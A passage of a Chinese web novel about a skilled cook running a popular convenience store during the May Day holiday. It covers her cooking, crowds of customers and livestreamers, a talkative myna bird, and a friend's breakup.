带鱼是周瑶瑶从老家带过来的,被明清欢做成糖醋带鱼后,那鲜甜适中,肉质鲜嫩,连鱼刺都入味的滋味,让她吃得根本停不下来。 带鱼刺少,除了中间那道主刺外,就是鱼两边带着整排小刺,换做吃其他鱼时周瑶瑶会觉得小刺很讨厌,但吃着碗里的糖醋带鱼,她却觉得那口带刺的肉格外香。 鱼皮带着微微焦香,细刺里的鱼肉吸满汤汁,咬在嘴里那滋味,简直别提多下饭。 明清欢看到她吃得那么香,觉得下次或许可以买点带鱼做快餐,想必顾客们肯定也会喜欢。 说实话,只要是她做的菜,哪有顾客不喜欢的。 随着太阳落山,网上已经有很多关于五一游玩的视频,而她家侠客便利店在其中就占据不少热度。 【刷到好几个相关视频了,卖相看起来确实不错,真有那么好吃吗?】 【今天刚去吃过的表示确实好吃,好吃到我都忘记拍照片了,而且我还去晚了,没吃到店里最抢手的红烧肉和香酥鸭,但三杯鸡、辣椒炒肉、酸辣土豆丝还有三鲜汤同样都特别美味,我准备明天还去吃。】 【看视频就馋死我了,早知道我就去q市玩了,今天来的这个景区人挤人不说,根本没有好吃的,不管是饭菜还是小吃,都又贵又不好吃。】 【别提了,你在景区人挤人算什么,我今天中午在便利店还不是人挤人,不过能吃到那么好吃的饭菜,让我天天去挤我也愿意[图片][图片]】这位显然是中午吃过侠客便利店的游客,除了发饭菜特写外,还有店里排队的照片。 【光看视频就馋死我了,现在买票去q市还来得及吗?】 【别来了!已经人够多了,求你们放过我的宝藏食堂吧!难得放假有时间早点去排队,结果倒好,我今天十点半过去只剩酸辣土豆丝和蒜蓉油麦菜之类的菜色了!】 晚上时周瑶瑶和明清欢都在看小说,没有上网刷视频的二人倒是不知道自家店又火了一把。 次日早上,依旧是天还没亮时明清欢就已经起床,边戴着耳机听书边在厨房里开始揉面。 自从周瑶瑶将她拉入小说这个大坑里后,她日常除了追剧,其他空余时间都开始看小说。不过幸好她自制力很不错,再沉迷看小说都不会熬夜,依旧准时准点睡觉起床,不然每天心心念念吃她家早餐的老顾客怕是得失望。 熟门熟路将面发好,白色的面团和黄色面团看起来还怪可爱。 让面在旁边继续发着,明清欢开始调糖馅。糖三角当然不是用面包着糖直接蒸就好,那样被融化的糖浆很容易漏出来,她先用锅把一部分面粉炒熟,在厨房里渐渐飘起麦香味时将炒得微黄的熟面粉盛出来。 熟面粉放到旁边备用,明清欢开始拆红糖,将红糖倒入盆中用擀面杖碾碎,一股甜香扑鼻而来,让她难得露出几分孩子气,捏起块红糖送入口中,浓郁的甜味瞬间在味蕾上弥漫开来,简直能甜进人心里去。 糖在现代已经不是什么稀罕玩笑,但在古代,如此精致的红糖可不容易得。她抿着嘴里的糖,继续做糖三角时动作都更加行云流水,显然心情挺不错。 碾碎的红糖加入适当比例的熟面粉,为了提香,她又添加点碎芝麻进去,搅拌均匀后熟面粉的麦香混合红糖的甜香以及芝麻香,比单纯的红糖气息更加诱人。 包糖三角对明清欢来说和做馒头一样简单,于是等到周瑶瑶从楼上下来时,厨房里已经做出一排排摆放整齐的馒头和糖三角,同时锅里还已经蒸上。 “老板你好早啊……”哪怕不是第一天知道她起得早,周瑶瑶来到厨房时还是忍不住感叹。 要知道现在才七点不到,她都不敢想自家老板到底几点起床的。 周瑶瑶感叹完,正想洗个手给她帮点忙时,就听外面好像传来敲门声。 确实自己没听错,她转身往外走,心里想着到底是哪个顾客没事干来那么早。 便利店有两道门,一道玻璃门,一道卷帘门,周瑶瑶将门全部打开,顿时发现外面来的可不是一个两个顾客,而是七八个。 “早啊!” 敲门的顾客见到门开了,边打招呼边往店里走,踏入店门时已经能闻见从厨房飘出来的香甜气息。 “早。”周瑶瑶下意识回了句,随即望着那一张张年轻的脸庞,忍不住道,“你们怎么这么早?” 平日里来店里买早餐的老顾客来得也挺早,但基本都是觉少的中老年人,年轻人她很少见那么早过来的,不怪她有此疑问。 “听说你们家还有早餐,特意起早点过来吃。” 进店的人基本都是昨天中午来吃过饭的新顾客,被快餐味道惊艳到的他们得知店里虽然晚上不卖饭,但有早餐卖,特意早起想要尝尝。 确定了,是吃货。 周瑶瑶心里吐槽,不过嘴上倒是没说什么,让他们坐着稍等会就回厨房去。 倒是原本安静待在鸟笼里的八哥,不知道是不是安静了一晚上比较无聊,现在看到店里有人直接开口:“你好,早上好~” 第28章 第28章香煎茄片 “哎呀,它还挺有礼貌。” 顾客们听到八哥说话,瞬间凑到鸟笼前,然而他们却是夸早了,因为八哥可不只会打招呼,它还会骂人。 不过小鸟能有什么坏心思,它会骂人还不是人教的。 “你才是笨蛋,你是傻鸟,瓜兮兮的傻鸟。” 顾客们被只鸟骂了,非但不生气,反而还觉得好玩,笑嘻嘻骂回去。 “傻,傻瓜,傻瓜~” “你才傻,傻鸟,小傻鸟。” 就在顾客们跟八哥拌嘴时,厨房内第一批馒头、糖三角已经蒸好。 热气升腾间表皮光滑饱满的糖三角躺在蒸笼里,隔着皮都能闻到那股香甜气息。 周瑶瑶受不住诱惑,直接伸手拿起一个,烫得左右手来回倒腾着就是舍不得丢下。 “小心烫。”明清欢边说边递给碗给她。 周瑶瑶用碗接住冒着热气的糖三角,随便吹两下就直接咬上去,入口宣软不失弹性,咀嚼间满满都是麦香味,等继续往下咬,被糖馅糊着的那口面皮又甜又有嚼劲,好吃到她边吹气边继续吃。 好好吃啊! 刚出锅的糖三角特别烫,尤其是里面流淌的内馅,一个不小心就要流出来,由于加了熟面粉,糖馅带着流沙感同时甜味被中和一下,再配上碎芝麻,整体滋味甜而不腻,余味回香。 周瑶瑶哪怕嘴唇被烫到两下,却还是眼睛亮亮地继续吃,越吃越觉得好吃,有种回到童年时第一次吃糖三角的感觉。 小孩子大部分都嗜甜,她小时候自然不例外,对小小的她来说,糖三角简直不要太好吃,只是随着长大,能吃到的好东西越来越多,糖三角才渐渐被她忽略,直到今天,老板做的糖三角再次唤起她的童年回忆。 明清欢见她吃得香,又往她碗里放了个玉米面的糖三角,随即才将蒸笼里的馒头、糖三角分别倒入盆中,将下一批放进去继续蒸后,把蒸好的拿出去卖。 “好香啊……” 在她端着盆出来时,一股淡淡的甜香被带入店中,原本围在鸟笼前的顾客瞬间被转移注意力。 “吃,小八吃啊~” 八哥同样闻见香味,在鸟笼里边扑腾翅膀边扯着嗓子喊。 “你等着,等我买完分你一口。”顾客中还是有人比较讲良心,有人排队时听到它声音,竟然还转头安抚它。 “只有馒头和糖三角?没有肉包子、菜包子什么的吗?” “不是听说有茶叶蛋?” “茶叶蛋还在煮,早餐的话只有馒头和糖三角。”明清欢回答道。 来都来了,更别说馒头和糖三角不论卖相还是香味都特别诱人,顾客们询问几句就开始买起来。 “我要两个糖三角,两个馒头。” “老板糖三角里面是什么馅的?” “红糖馅,里面加了点芝麻提香。” 明清欢话落,有顾客“啊”了一声道:“我不是很喜欢吃红糖,给我一个玉米糖三角尝尝味,另外再来两个馒头。” 这位白衣服顾客买完早餐表情明显有点失望,不过等到他低头咬上糖三角时,心里却是咦了一声,显然是发现红糖馅糖三角好像没自己想象的那么不好吃。 加玉米面做出来的糖三角是淡淡黄色,表皮光滑饱满,带着柔和光泽感,一口咬开,里面糖浆是琥珀色流沙体,其中混着点点芝麻做点缀,闻起来香,吃起来更香。 糖浆其实有点烫,但却让人吃得欲罢不能,边吹边吃,不知不觉就将整个吃完。 一个糖三角吃完,刚刚还说自己不喜欢红糖的人双腿十分诚实地走回前面重新排队去。 与此同时,店里人已经越来越多,而且排队的顾客老年人与年轻人各占一半。 “唔,好好吃的糖三角,简直就是童年的味道!” 周瑶瑶已经吃完出来帮忙卖早餐,听到顾客的夸奖眼里满是赞同之色。 “我要三个糖三角,一个茶叶蛋。” “我要两个糖三角,还要一瓶牛奶。” 糖三角那股质朴的甜香很吸引人,对比之下,不少人直接忽略馒头,纷纷抢着买糖三角。 除了普通顾客外,还有主播大早上带着人过来做直播,也不知道他是真不小心,还是为了节目效果,拿着糖三角对镜头介绍完,直接大口咬下去。 由于他咬的时候太用力,里面糖浆直接溢出来,顺着他手背往下流,被烫到的他下意识微抬起手用嘴去舔,结果糖浆顺着胳膊流得太快,他把手举过头顶时,手里糖三角内的糖浆直接漏到他头上。 【哈哈哈哈,主播你是来搞笑的吧!】 【我以为“吃糖三角烫后脑勺”什么的只是个段子,结果你来真的?】 【别笑,说实话,糖浆滴到手上时,我的第一反应也是舔上去(捂脸)】 【哈哈哈哈,主播你太有节目效果了,我现在不想知道糖三角好不好吃,只想问你后脑勺被烫到是什么感觉?】 【你们太过分了,都不知道心疼一下,不像我,主播你赶紧把糖三角拿好,不然里面糖浆全流完了我看着就心疼。】 【合着搞半天你是心疼糖三角啊?哈哈哈哈……】 【一时之间我真看不出来主播到底是真憨,还是故意演的。】 【怎么能怀疑主播呢?以我多年的观影经验来看,主播不像演的,应该是真傻。】 【哈哈哈哈,你也没放过他!】 别说直播间里的粉丝了,就连店内顾客都看得先是一愣,随即忍不住笑出声来,心说原来还真有人能吃糖三角烫后脑勺。 只有明清欢怕顾客被烫出个好歹,赶紧开口道:“没事吧?要不去里面用水洗洗。” “还是老板你人好。”主播说完摆摆手,接过拍摄搭档递过来的纸边擦糖浆边道,“没事,不是特别烫。” 幸好他头发比较厚,糖浆大部分都头发挡住,只有一点点渗入头皮上,有点烫,但还在接受范围内。 他拿湿纸巾收拾干净手臂和脑袋后,看到直播间里哈哈哈一片,举着刚刚没吃完的糖三角道:“让你们看笑话了,但真不怪我吃得急,主要是这个糖三角太好吃了,外皮宣软有弹性不说,隔着糖馅的位置口感特别有韧劲,里面的糖浆更是甜而不腻,还带着芝麻香……给你们看看里面红糖流淌的卖相,是不是很想来一口?” 他开始滔滔不绝地描述糖三角的美味,并称其是记忆里的童年味道,明显是在故意馋粉丝们,以报他们刚才笑话自己的仇。 【不就是糖三角嘛,我现在就去买!】 【巧了不是,我正好就在早餐店,就是为什么你的糖三角我的糖三角好像不一样?[图片][图片]】 这位粉丝发的糖三角外形没有明清欢包的漂亮就算了,咬开里面糖馅卖相也不诱人,看起来就是稀稀 的红糖水,完全没有明清欢做出来糖馅那种流沙感。 【同样是糖三角,主播手里那个看着就让人很有食欲,但我在早餐店里看到的感觉没那么想吃。】 【主播,我给你地址,你帮我买几个寄过来行不?我也想回忆一下童年的味道。】 【我前段时间才吃过糖三角,说实话,感觉根本没有小时候好吃。】 直播间里粉丝们被糖三角勾起童年回忆时,留在便利店里吃早餐的顾客同样在谈论小时候。 “我读小学时,家门口有家早餐店卖的糖三角特别好吃,可惜后面不开了,那个味道让我惦记了好久,然而长大以后却再也没吃过那么好吃的糖三角,直到今天,我感觉这家糖三角比我童年的味道还好吃。” “我小时候也挺喜欢吃糖三角,因为觉得它甜甜的,不过长大后倒是不怎么吃了……” 沐沐和朋友今天同样有过来吃早餐,比起昨天她不情不愿被朋友拉过来,今天却是反过来,她一个劲催朋友搞快点。 “太好吃了,我以前早餐都只喜欢吃肉包子,烧卖,今天才发现原来糖三角这么好吃!” 明清欢手艺是真好,吃过的顾客就没有不夸的,就连周瑶瑶,明明前面在厨房里已经吃过,现在看到顾客们吃得那么香,都忍不住又拿一个糖三角站到旁边吃起来。 正好茶叶蛋已经煮好,吃完香甜可口的糖三角再来个茶叶蛋,美味的早餐简直能给人带来一天的好心情。 “老板,今天中午吃什么?还有红烧肉吗?”早餐还没吃完,有顾客已经开始惦记起午餐来。 明清欢点头:“有。” “太好了,昨天的红烧肉我根本没吃够,我决定上午哪也不去了,就在这里等!” 有顾客昨天就来吃过饭,有顾客却是今天早上才第一次来店里,闻言立刻就问起来:“红烧肉?有多好吃?” “此物只应天上有,人间哪得几回闻的那种好吃!” 听到这么夸张的评论,新顾客瞬间就期待起来:“那午餐几点开始卖?” “我劝你最多在这条街逛逛,十点前就回来排队,不然很容易吃不上饭。”昨天来过的顾客分享自己的经验之谈。 旁边沐沐和朋友听到这话赞同地点头,觉得昨天多亏她们没有吃完早餐就出去玩,不然还真不一定能赶得及回来吃午饭。 “中午我们点两份红烧肉吧,昨天那个红烧肉太好吃了!” 沐沐听到朋友的话不由回味起来,喉咙无意识滚动两下才开口:“香酥鸭也好吃,要不也点两份?” 在店内有顾客已经开始讨论起中午吃什么时,明清欢见早餐已经卖得差不多,转身去厨房开始处理食材,准备做午餐。 当然,忙活前她没忘记先坐下休息会,顺便吃两个糖三角当早餐。 昨天做了脆皮香酥鸭,今天她改做香酥鸡,争取让游客们多尝点不同菜色。 除开香酥鸭改香酥鸡,今天还有道新菜——香煎茄片。 先将红烧肉做出来放到锅里慢慢炖着,随即她才开始做茄子。亮紫色的茄子很是漂亮,明清欢切它时没有横着切,而是竖着切成大片。 茄子切好,她将茄片放入盐水中浸泡,这样既可以让茄子不容易氧化变黑,又能让茄子待会做起来不会吸太多油导致口感油腻。 开始煎茄子前,明清欢随手调了个不是很稠也不是很稀的淀粉糊,给茄片裹上薄薄一层后才开始煎。 随着茄片下锅,先是表面那层糊被煎出香味,很快茄子特有的清香被煎出来,对于爱吃茄子的人来说,闻着就觉得食欲大开。 将所有茄片都煎至两面金黄后,明清欢将其放到旁边备用控油,随即将锅中下少油,将蒜末、小米辣、生抽等调料依次倒入,调出美味的料汁后将茄片加进来翻炒,很快热油激发出来的蒜香就混合着茄子特有的清香一起飘出来。 厨房外,有昨天的前车之鉴在,不管是本地顾客还是游客,今天都卷起来,不光有人吃完早餐就坐在店内等,还有好多人九点钟就过来排队。 周瑶瑶感觉他们太夸张了,同时心里还有点庆幸,庆幸自己运气好,直接成为便利店员工,每天不用排队就能吃到美食。 “服了真是,我以为我今天来得够早了,没想到还有那么多人比我还卷!” “五一赶紧结束吧,上班卷就算了,真不想吃个饭还要跟人比卷。” “拉倒吧,现在根本不是五一的事了,就算五一结束外地游客离开,本地人也不少啊,真是怀念上上个月的时候,那会我十一点多过来都有饭吃。” 听到其他人抱怨,正在排队的童装店店员更想吐槽,要知道她可是就在便利店旁边,但谁能想得到,就她离得那么近,昨天还愣是没吃上,简直没天理! 而随着厨房里香味越来越浓,炖肉香、茄子香逐渐飘出来,顾客们先是都下意识安静下来,不自觉轻嗅香味,随即则是讨论起今天的菜色。 “红烧肉的味道!真是闻一次馋一次,想到那肥而不腻,软烂不柴的滋味,我口水都快下来。” “它家红烧肉是真香!也不知道是怎么做的,既没有肉腥味,也没有香料或者焦糖炒过头的苦味,而且肥肉不腻,瘦肉不柴,真是我这么多年来吃过最好的红烧肉!” “我闻到茄子味了,好香啊……” “有炸鸡的香味,店里难道还卖炸鸡吗?” “估计是老板今天做香酥鸡了,老板做的香酥鸡比外面卖的炸鸡好吃多了,外酥里嫩,一口咬下去,不光皮肉好吃,连骨头都是香的。”这位老顾客说着说着把自己都馋到,口水差点没流下来。 何丽丽来到店里时就发现里面已经有好多人,两条队都已经排到大门口来。 她刚到q市,最艰难的那段时间就是靠着便利店的馒头过活,在找到工作后就决定等发工资要来吃一顿快餐。 现在她手里拿着刚发没多久的工资,趁着五一假期终于能来吃饭,却没想到店里人那么多。 好在她来的时间还不算晚,吃上饭肯定没问题,不过何丽丽站在队伍中听着大家聊天的声音,心里还是忍不住感叹,感叹店里生意真是越来越好了。 时间终于来到十一点,明清欢和周瑶瑶两个人开始往外端饭菜,更加浓郁的香味瞬间在店内弥漫开来,让原本安静排队的顾客们瞬间就躁动起来。 “太香了……” “饿死我了,我待会要吃两碗饭!” “别挤啊!” 在顾客们吵吵闹闹的声音中,明清欢她们已经开始打饭,今天依旧是每个顾客只能买三菜一汤,当然,米饭是不限量的,顾客们能吃几碗买几碗。 “老板,真的不能多点几个菜吗?” 有顾客望着色泽红亮的红烧肉想吃,瞧着金黄酥脆的香酥鸡更是口水都快下来,还有卖相诱人的豆腐酿肉……感觉随便看看就不止三个菜想吃。 明清欢自然不会松口,不然后面人有样学样,那菜根本不够卖。 新顾客怎么选都看他们个人口味,但老顾客看到新菜香煎茄片时,却是毫不犹豫点了一份。 整片切开的茄子看着就很大气,表面被煎成金黄色,周围一圈甚至带着微微焦边,看起来就特别好吃的样子。同时,酱汁给茄片披上层微红的衣裳,让它带着光泽感,卖相更加诱人。 “我还没见过这么大的煎茄片,看着就特别好吃的样子。” 等拿到自己那份快餐,顾客近距离闻着香煎茄片那股蒜香与焦香融合的气息,已经有点迫不及待想尝尝。 明清欢做出来的香煎茄片闻起来香不说,茄子颜色更是格外漂亮,一点都没有发黑,再加上是整茄子切片,巴掌大的切片看起来就很吸引人想尝尝。 于是一时之间除了红烧肉、香酥鸡外,最吸引顾客的便是这道香煎茄片。 “果然跟我想的一样好吃,外焦里嫩,而且特别入味,感觉跟我以前吃的茄子完全不一样……” “真的吗?给我尝 一口。” 沐沐听到朋友的话,伸出筷子从她餐盒中夹起一片茄子送入嘴里。 茄子表面有层像纸一样薄的脆壳,由于是煎出来而不是炸,茄子入口酥脆却不油腻,咀嚼间,内里茄子肉软糯绵密,配上渗入进来的料汁香,吃起来咸中带鲜,鲜中透着辣,味道和口感都特别丰富。 沐沐吃得眼睛都亮起来,甚至有种打开新世界大门的感觉:“我还是头一回知道原来茄子还能这么好吃!” 她以前不是很爱吃茄子,感觉茄子要么软趴趴,要么油腻腻,搞不懂到底是谁会喜欢,今天尝过香煎茄片,她忽然就真香了! 随着最前面那批顾客饭都吃到一半时,何丽丽终于排到前面。 她最近由于加班已经有些日子没过来,但明清欢对她还是有印象,发现这个从来只过来买馒头的顾客在中午来吃饭,不由朝她笑起来:“要吃点什么?” 望着老板语笑盈盈的样子,何丽丽下意识回了个微笑:“要红烧肉、茄子还有炒青菜。” 此时店里肉菜都还剩三分之一左右,不存在她买不到,她这么点不用想都知道是为了省钱。 明清欢点头表示知道后,勺子往红烧肉盆里挖进去,看似随意地一勺下去,却是肉多土豆少。 “谢谢老板。”何丽丽拿到饭菜,想到自己终于吃上店里的饭菜,声音都不自觉上扬,有种小目标达成的满足感。 或许说出去别人会笑话她把吃快餐当作小目标,但对于她来说,刚到q市那段艰难的日子,如果不是有店里美味的馒头让她能放松下心情,以及想要尝尝店内的快餐,或许她都未必能坚持下来。 何丽丽运气不错地找个位置坐下来,一口红烧肉吃进嘴里,那绝顶美味的滋味,好吃到她有点想哭。 她以前根本不懂“肥而不腻”是什么滋味,只觉得肥肉哪有不腻的,毕竟肥肉吃的就是它的油水,但今天,她忽然就理解什么叫肥而不腻。 在何丽丽看来,红烧肉好吃很正常,毕竟这可是肉,怎么可能会不好吃,然而在她吃到香煎茄片时,那味道,却是让她咀嚼的动作都停了一瞬。 茄子算是她从小到大经常吃的菜色,但她还是第一次知道,原来茄子还能那么好吃,外面吃起来脆脆的,里面却是软嫩中带着汁水,还有边缘部分的茄皮,吃起来焦香可口。 “家人们,我强烈安利你们来尝尝这道香煎茄片,味道简直绝了!感觉比肉还好吃,尤其是边缘部分那一口咬下去,焦香酥脆配上茄肉的软嫩,两种口感形成强烈对比,再配上绝佳的调味,就这个味,真是我这辈子吃过最好吃的茄子,满分一百分的话我给两百分,不怕厨师骄傲!” 由于侠客便利店最近热度高,今天又有不少大小主播过来做直播,拍视频。 何丽丽听到对方大着嗓门对镜头夸赞的声音,心里很赞同他的话,觉得老板做的香煎茄片确实跟肉一样好吃。 第29章 第29章酱香猪蹄 今天来店里的人比昨天还多,明清欢打饭途中已经提醒好几次,让后面的顾客不要再排队,但根本没人听。 等到饭菜全部卖完,剩下没买到的顾客根本不肯走。 “老板你可不能厚此薄彼,我可听说了,昨天没买到快餐的有蛋炒饭吃。” “蛋炒饭也行,老板你给炒个饭呗,不然我要饿死在你店里了……”说这话的顾客是个戏精,边说边蹲下来,一副要往地上倒的架势。 店内还有不少顾客在吃饭,其中有个小朋友看到她蹲在地上,小眉头动了动,随即捏着块香酥鸡哒哒哒跑过来:“别饿四,给泥次~” 小家伙看起来三岁左右,长得白白嫩嫩,那奶声奶气的声音和黑白分明的大眼睛,简直能把人心都给化开。 “哎呦,这是谁家养出来的乖宝贝,谢谢你,姨姨不吃。”面对如此贴心可爱的小家伙,刚刚还戏精的顾客瞬间就正经起来。 金黄酥脆的香酥鸡确实很有诱惑力,但她觉得再馋也不能哄小孩吃食。 然而小家伙却是好像生怕她饿死了,直接把手里香酥鸡往她嘴里塞,没办法,女顾客只能边吃边柔声跟她说谢谢:“谢谢小宝贝,哇,宝贝给的炸鸡真好吃,我咬一口浑身都有力气了。” 小家伙两只手各拿一块香酥鸡,投喂出去一块后,听着她的话笑得露出小奶牙,随即则是低头啃起左手那块鸡肉。 孩子家长本身就不想让孩子吃那么多油炸物,对她把香酥鸡给人倒是没什么意见,反而很自豪,觉得自家孩子性格好。 接受投喂的顾客品尝着外酥里嫩的香酥鸡,也没有白吃,转头就在店里买了个玩具送给小家伙。 至于明清欢,由于顾客们都不肯走,她只能无奈地进入厨房,把剩下的米饭全部做成蛋炒饭。 店内还有二三十个没买到饭的顾客,蛋炒饭根本不够他们分,明清欢只能又煮了点鸡蛋青菜面。 “好好吃的面!这面条一吃就吃的出来是现擀的。” “鸡蛋好嫩,面汤也好鲜,老板随手做的鸡蛋面都这么好吃,都不敢想她炒的菜有多美味。” “可恶!早知道就不去逛街了,我就是在店里等得无聊,去附近服装店逛了逛,结果回来队伍就排得老长……” 坐在桌前吃快餐的顾客听到他们夸面条好吃,有本身就很爱面食的忍不住开口:“老板,我也想吃面。” “你还吃得下面吗?”明清欢记得这位顾客添饭都添了两碗。 “可以给我尝两口吗?” 盆里还有点面条,明清欢闻言给想吃的顾客都夹了点。 “唔,确实好好吃,又香又筋道!早知道有面吃,我就少吃一碗饭了。” “你们太过分了吧,都吃了快餐还跟我们抢面吃,老板别给他们夹了,我还要买一碗。” 店里顾客们抢面吃时,厨房内周瑶瑶正在享受自己的午餐。 菜色先不说,红烧肉、香酥鸡、香煎茄片等菜全部应有尽有,她面前的主食都有两种,一种蛋炒饭,一种鸡蛋青菜面。 望着种类繁多的美食,还没吃她就感受到什么叫幸福,先端着蛋炒饭配红烧肉吃几口过过瘾,再来上片香煎茄片。 刚刚打饭时她就总听到顾客夸,现在自己亲自品尝,发现果然很好吃,尤其是茄子周围的那圈焦边,越吃越香。 她两口把整个茄片塞进嘴里后,忍不住拿出手机拍了几张照片发给家里人。 【给你们看看老板今天做的香煎茄片,我才知道原来茄子还能这么做,吃起来外焦里嫩,太好吃了![图片][图片]】 周家人收到照片,不由想起她之前带回家的卤牛肉、香酥鸡、香酥鸭,桌上的午饭瞬间就不香了。 成功馋到家里人的周瑶瑶却是吃得很香,吃饱喝足后直接换明清欢进来吃饭。 可能是假期的缘故,便利店里一直有顾客进进出出,根本不像之前一样能有个闲的时候。好在度过忙碌的中午后,下午来顾客最多是买买东西,倒是不累。 “老板,你们家有热水吗?” 下午三点多,有游客从附近景区玩完过来,发现没有快餐卖了,挑了几盒泡面想着凑合吃一顿。 他们倒不是不知道店里快餐很抢手,只是单纯过来碰碰运气,过来主要还是在附近找个宾馆住,等着明天中午过来吃饭。 “有。” 便利店里自然不缺热水,明清欢直接从厨房拎着暖水瓶出来给顾客使用。 等待泡面的过程中,顾客顺便在货架上挑选起来,显然是准备买点零食。 “你看,这里有你之前想买的那种香辣土豆片。” “真的哎,那拿两包,这个猪蹄看起来好像也不错,可以配泡面吃。” 顾客们挑完东西来前台付完账后,明清欢对着周瑶瑶夸道:“你挑的那些零食都很好卖。” 最近店里人多,大家来到便利店自然不可能光买早餐或快餐,多多少少会顺手买些零食。 自从店内布局重新规划后,周瑶瑶还重新帮店里进了不少网上买得火的零食。 此时听到老板夸自己,感觉努力没有白费的周瑶瑶脸上不由露出笑容:“主要还是老板你厨艺好,能吸引那么多 顾客过来。” 见她还客气上,明清欢没再说什么,不过心里已经决定,等下次发工资时要给她加钱。 当天晚上,网上依旧到处都是五一游玩相关视频,其中q市侠客便利店占据不少热度。 首先是美食视频,明清欢做的菜卖相本身就够诱人,都不用调滤镜,随便一拍放出来就能馋死人。 【有毒吧!我已经连刷到好几个和它家相关的视频了,被红烧肉、香酥鸡什么的馋到就算了,为什么一个煎茄子看起来也那么馋人?啊啊啊啊!大晚上的,馋得我满床打滚,这日子真是没法过了!】 【你不是一个人……我也是手欠,明明知道会被馋,还是忍不住把视频给看完,搞得现在跟捅了侠客便利店马蜂窝一样,刷一个是它家视频,再刷一个还是,不就是q市嘛!我明天就买票去!】 【真是服了,我刚开始刷到时觉得“侠客便利店”这个名字很奇怪,多刷几个视频后愣是给看顺眼了。】 【被茄子馋到算什么,我刚刚刷到它家糖三角的视频,大半夜被馋的在外卖平台上搜,根本搜不到。】 除了美食向视频外,火的还有今天早上某主播在侠客便利店吃糖三角烫后脑勺的视频。 比起其他视频底下网友们的纯馋,这个视频评论区,网友们却是笑得很大声。 与此同时,今天依旧在店里留宿的周瑶瑶终于也刷到视频,立刻举着手机跟明清欢分享:“老板你看,怪不得今天人那么多,网上现在好多我们家的相关视频,而且热度都挺高。” “你看这个,这不是早上那个被烫到的顾客吗?哈哈哈哈,早上我还没看清他是怎么烫到自己后脑勺的,现在看视频,真的好好笑啊!” 别说周瑶瑶觉得好笑,明清欢在完过完整视频后眼中都流露出笑意。 就在两个人凑在一起刷视频时,明清欢手机忽然响起来,发现是大学舍友打过来的,她直接起身去旁边接电话。 “明欢欢,你现在是真的火了,我在网上随便一刷,就刷到你家视频了……” 打电话过来的孙悦月,她最近有假期,所以准备约李勤晴一起来q市找她聚聚,想问问她有没有空。 明清欢没有拒绝,表示等她们过来请她们吃饭。 “那感情好,我在网上刷到你家视频时可是被馋得不行,早知道你有那么好的厨艺,当初在学校时就应该把你拐到我家去天天给我做饭。”孙悦月跟她开了几句玩笑后话头一转,“对了,晴晴她失恋了,这事你知道吗?” 明清欢摇头:“不知道,她没和我说过。” 她记得李勤晴好像是高中就和男朋友谈恋爱,大学时一起出去租房同居,毕业前甚至说过要让原身和孙悦月给她当伴娘。 明清欢不想八卦别人的感情生活,但想到高中加大学七年感情,以及毕业后这一年多,还是忍不住多问一句:“他们是吵架还是分手了?” “别提了,那个死渣男去年过年回家时竟然背着晴晴去相亲,被发现还理直气壮说都怪晴晴不肯结婚生孩子,他简直有毛病,才刚毕业连工作都没稳定,结个屁,生个屁孩子啊!而且明明当初他们俩商量好了等工作两年攒点钱再考虑结婚的事……” 提起来孙悦月就生气,把渣男臭骂一顿语气才慢下来,说等把李勤晴拉过来时,让明清欢也帮着安慰安慰。 “及时止损是好事。”明清欢觉得现在分手,总比结婚后发现要好得多。 孙悦月叹气:“道理是这个道理,但毕竟那么多年感情,哪有那么容易走出来。” 两个人又简单聊几句,确定孙悦月她们大概明天下午到q市后,电话终于挂断。 明清欢是在隔壁w市读的大学,孙悦月和李勤晴都是w市本地人,她们从w市坐高铁过来也要几个小时。 “老板,谁遇到渣男了?” 明清欢刚结束电话,周瑶瑶就凑过来,一副想听八卦的模样。 “我朋友,她前男朋友过年背着她去相亲,两个人分手了。” 明清欢显然不是个适合分享八卦的人,简洁明了地总结出事情起因和结果。 “老板你真是……”周瑶瑶有些无力吐槽,只能自己询问起来,得知她朋友跟男朋友谈了七八年,甚至都有结婚的打算,结果对方过年时偷偷去相亲,立刻真情实感地骂起来。 “渣男,渣男!” 眼见八哥又学会一个词扯着嗓子开始嚷嚷起来,明清欢忍不住用余光看向它,觉得它还真是好话学不会,坏话一听就会说。 “谁让你学了?你明天可别当着人家面说这个词听到没?”周瑶瑶还挺细心,听到八哥学会骂“渣男”后,第一反应就是明天当事人要过来,别让她听见想起渣男会伤心。 月落日升,转眼又是新的一天。 托昨天“吃糖三角烫后脑勺”那个视频的福,大家哈哈哈的同时很想知道糖三角到底有多好吃,才会让他被烫到还要继续吃,今天早上来便利店的人明显更加多。 原本来买早餐的都是中老年人,结果今天六点多时,一群年轻人早早来到店门外,别提有多热闹。 “你待会准备买几个糖三角?” “买三个吧,我还想要买两个馒头,加一个茶叶蛋。” “你吃得完吗?” “吃不完留着晚上吃,反正馒头和糖三角都可以冷着吃。” 顾客们聊得热火朝天时,店门终于打开,大家闻着糖三角的甜香和茶叶蛋鲜美中带着茶清爽的气息,感觉光闻味胃口就被打开。 “小心烫。” 可能是由于昨天出了糖三角烫人事件,今天卖早餐时周瑶瑶特意多提醒一句。 她话落,不少顾客许是想起“吃糖三角烫后脑勺”,都忍不住哈哈哈笑起来。 知道他们在笑什么的周瑶瑶心里为当事人点了个蜡,觉得怕是以后大家吃糖三角时都会想起他。 七点还不到,住在附近的赵老爷子慢悠悠走过来买早餐时,就看到店内已经挤满年轻人,心里不由“嚯”了一声。 好在他运气还不错,到底还是买到几个馒头,不过看着比他晚来的邻居空荡荡的手,他还是决定明天要更早点来。 “怎么这两天那么多人过来买馒头,搞得我都买不上。”有老人没买到馒头,语气里带着点小抱怨。 老人里也有时髦的,有爱刷视频的老人立刻接话道:“没办法,谁让店里东西好吃,被人发到网上去,没看过来买的都是年轻人,看来明天咱们得早点过来了。” 老年人觉少,本身早上就起得很早,比早起他们可不怕谁,当即没买到的人都决定明天六点就过来。 明清欢并不知道自家真。老顾客和新顾客杠上了,卖完早餐赶紧去厨房处理食材,没办法,随着新游客越来越多,考虑到好多都是特意从外地过来,她最近两天食材都准备得更多些。 炒菜周瑶瑶是帮不上忙,洗菜她还是没问题,交代八哥看好店后就进入厨房打下手。 店里这会已经坐满人,都是提前等着吃午餐的,洛淮青过来时连位置都找不到,便打消在店里码字的想法,转而站在鸟笼欣赏笼子里的八哥。 他算是店内资深老顾客,八哥对他不算陌生,发现这个人站在自己鸟笼前既不伸手指逗自己,又不开口跟自己说话,反而对他感兴趣起来。 于是在洛淮青视线中,就见八哥用鸟喙和爪子折腾着笼门,下一秒……嗯? 他不知道明清欢养鸟本身就是半放养,见鸟笼被打开心里一惊,下意识伸手想阻挡,生怕八哥越狱后让她觉得是自己把鸟给放跑了。 